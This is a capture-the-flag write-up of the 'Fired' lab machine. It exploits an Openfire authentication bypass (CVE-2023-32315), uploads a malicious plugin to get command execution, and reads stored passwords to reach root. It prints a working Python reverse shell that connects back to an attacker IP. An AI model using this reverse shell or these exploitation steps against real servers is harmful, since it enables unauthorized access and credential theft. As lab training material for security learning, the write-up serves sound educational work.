Fired - Proving Grounds Practice
Enumeration
Nmap
Initial nmap scan revealed SSH and port 9090 were open.
Web Enumeration
I checked port 9090 and found out it was OpenFire 4.7.3 website.
Exploitation
CVE-2023-32315
Openfire is an XMPP server licensed under the Open Source Apache License. Openfire’s administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.
For more information: https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce
So simply, openfire is vulnerable to authentication bypass via path traversal. I found an exploit script to add a new administrator user. I simply executed it.
As the new admin user was created, I had access to the admin dashboard.
Later I learned from my research that we could upload malicious java plugin and get webshell. So I found a malicious plugin in github.
Then uploaded it.
Then from Server > Server Settings > Management Tools I accessed the malicious plugin and entered password 123.
And by selecting system command option, I got remote command execution.
Later, to obtain full reverse shell I created a python script and trasfered it to target.
RHOST="192.168.45.166"
RPORT=1234
import sys,socket,os,pty
s=socket.socket()
s.connect((RHOST,RPORT))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("bash")
And simply by executing python3 <script>, I got the reverse shell.
And read the user flag.
Privilege Escalation
openfire.script
Openfire stores passwords under /usr/share/openfire/embedded-db/openfire.script, I simply read it and found a cleartext password.
Luckily, it worked for root and I simply got root shell and flag.
Additional Information
NOTE: We could also decrypt hashed passwords by simply using openfire-decryptor scripts that can be found online (e.g. c0rdis/openfire_decrypt). We only need to read user’s password hash and password key from openfire.scripts file.
Before trying plaintext passwords, I tried to decrypt admin hash. However, it was not root password.